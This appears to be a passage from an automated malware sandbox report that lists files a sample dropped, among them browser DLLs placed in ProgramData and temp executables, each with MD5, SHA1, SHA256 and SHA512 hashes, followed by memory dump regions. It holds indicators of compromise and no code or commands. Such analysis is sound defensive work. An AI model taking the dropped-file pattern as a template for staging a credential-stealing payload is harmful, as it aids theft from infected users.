05beaaf611d9b528c68a9882a7994d6b91f71a3946fd66ba24812f59390f783054d7e028b11b3851d2e926f5cd15c5f8470b5ba8ec4b43cd4bfa90e0faedadc1

Download Submit
\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
\Users\Admin\AppData\Local\Temp\D47F.tmp
MD5
d124f55b9393c976963407dff51ffa79

SHA1
2c7bbedd79791bfb866898c85b504186db610b5d

SHA256
ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef

SHA512
278fe3a4b1fbbe700e4f4483b610133e975e36e101455661d5197bd892a68839b9d555499040d200c92aefa9e3819380e395c0cd85d5fc845c6364d128a8cf06

Download Submit
\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
\Users\Admin\AppData\Local\Temp\e7f955ba..exe
MD5
d9a97096753da9101e89efe264834629

SHA1
bef5989964ecc57613554049b76086d99d4207f0

SHA256
2afb9e882933b951a803e82694e39249e51e0ec987212edc46f261240dad76b6

SHA512
4d29505235883ec980acdd62a5de049f6ae1209102c0658a70a06c0ffa7da59b312f619c9db3739da412a515b04813a09b0737d7bf64df1c8483083b01b413e5

Download Submit
memory/568-23-0x0000000000000000-mapping.dmp

Download
memory/568-26-0x0000000003496000-0x0000000003497000-memory.dmp

Filesize
4KB

Download
memory/568-27-0x0000000004C90000-0x0000000004CA1000-memory.dmp

Filesize
68KB

Download
memory/624-19-0x0000000000000000-mapping.dmp

Download
memory/660-30-0x0000000000000000-mapping.dmp

Download
memory/836-3-0x0000000000000000-mapping.dmp

Download
memory/1012-0-0x0000000000000000-mapping.dmp

Download
memory/1036-6-0x0000000000000000-mapping.dmp

Download
memory/1036-8-0x0000000010000000-0x0000000010017000-memory.dmp

Filesize
92KB

Download
memory/1036-12-0x0000000001DE0000-0x0000000001DFE000-memory.dmp

Filesize
120KB

Download
memory/1052-20-0x0000000000000000-mapping.dmp

Download
memory/1524-11-0x0000000000000000-mapping.dmp

Download
memory/1540-10-0x0000000000000000-mapping.dmp

Download
memory/1624-25-0x0000000000000000-mapping.dmp

Download
memory/1804-31-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1804-32-0x0000000000402C70-mapping.dmp

Download